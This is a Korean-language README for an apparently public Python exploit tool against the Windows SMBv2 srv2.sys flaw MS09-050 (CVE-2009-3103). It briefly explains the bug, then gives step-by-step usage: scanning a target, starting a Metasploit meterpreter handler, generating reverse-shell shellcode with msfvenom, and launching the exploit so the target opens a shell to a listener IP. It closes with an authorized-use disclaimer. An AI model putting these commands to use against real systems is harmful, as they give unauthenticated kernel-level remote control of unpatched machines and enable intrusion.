MS09-050 (CVE-2009-3103) SMBv2 srv2.sys 버퍼 오버플로우를 위한 Python 익스플로잇으로, 취약점 스캐너, 아키텍처 자동 감지, x86/x64 리버스 셸 페이로드를 포함합니다.
CVE-2009-3103
Windows Vista와 Server 2008은 새로운 커널 드라이버인 srv2.sys와 함께 SMBv2를 도입했습니다. 이 드라이버는 SMB negotiate 요청의 Process Id High 필드를 검증하지 못합니다. 이 필드에 특수하게 조작된 값을 전송하면, 공격자는 srv2.sys가 제어된 값으로 함수 포인터 테이블을 인덱싱하도록 만들어 공격자가 제공한 주소를 역참조하게 합니다.
그 결과 인증 없이 커널 컨텍스트에서 임의 코드 실행이 가능합니다. 공격자는 포트 445에 접근하기만 하면 됩니다.
Microsoft는 2009년 10월(KB975517)에 이 문제를 패치했습니다. 패치되지 않은 Vista SP1/SP2 또는 Server 2008 SP1 시스템은 취약합니다.
| 대상 OS | 아키텍처 |
|---|
| Windows Vista SP1 | x86 |
| Windows Vista SP2 | x86 / x64 |
| Windows Server 2008 SP1 | x86 / x64 |
| Windows Server 2008 SP1 (pre-R2) | x64 |
--msf-payload로 사용자 지정 페이로드를 선택할 수 있습니다-s)[+] 성공, [-] 오류, [!] 경고, [*] 정보git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050
요구 사항:
rpcclient (smbclient 패키지에 포함), 주입 후 페이로드를 트리거하는 데 사용됩니다msfvenom, --msfvenom 플래그를 사용하는 경우에만 필요합니다Debian/Ubuntu에서:
sudo apt install smbclient
Arch Linux에서:
sudo pacman -S smbclient
python3 MS09.py scan -t 192.168.1.10
출력:
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050
meterpreter/reverse_tcp 스테이저를 사용합니다. 먼저 핸들러를 시작하세요:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"
그런 다음 익스플로잇을 실행합니다:
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444
raw 셸코드를 한 번 생성하고 msfvenom 없이 재사용합니다:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin
그런 다음 익스플로잇에 전달합니다:
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86
$ python3 MS09.py -h
usage: MS09.py [-h] {scan,exploit} ...
MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)
positional arguments:
{scan,exploit} Operation mode
scan Scan target for MS09-050 vulnerability
exploit Send exploit to target
$ python3 MS09.py exploit -h
usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
(--payload | --msfvenom | -s FILE)
[-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]
options:
-t, --target Target IP address
-P, --port SMB port (default: 445)
-a, --arch Target architecture (auto-detected if omitted)
--payload Use built-in reverse shell payload (no Metasploit needed)
--msfvenom Generate shellcode with msfvenom
--msf-payload msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
-s, --shellcode Path to raw shellcode file
-l, --lhost Listener IP address
-p, --lport Listener port
MS09/
├── MS09.py # Main entry point
├── README.md
└── lib/
├── __init__.py
├── output.py # Standardized output formatting
├── scanner.py # SMBv2 vulnerability scanner
├── payloads.py # Built-in shellcode (reverse TCP shell)
└── exploit.py # Exploit buffer construction and delivery
Negotiate Protocol Request를 전송하여 대상 OS 버전과 아키텍처를 핑거프린팅합니다srv2.sys의 버퍼를 오버플로우시키는 잘못된 형식의 SMBv2 negotiate 요청을 생성합니다이 도구는 승인된 침투 테스트 및 교육 목적으로만 제공됩니다.
컴퓨터 시스템에 대한 무단 접근은 대부분의 관할권에서 범죄 행위입니다. 이 도구를 어떤 대상에 사용하기 전에 반드시 시스템 소유자로부터 명시적인 서면 허가를 받아야 합니다. 저자는 어떠한 책임도 지지 않으며, 이 소프트웨어로 인해 발생하는 오용이나 손해에 대해 책임지지 않습니다.
이 도구를 사용함으로써 귀하는 다음에 동의합니다:
책임감 있게 사용하세요. 윤리적으로 해킹하세요.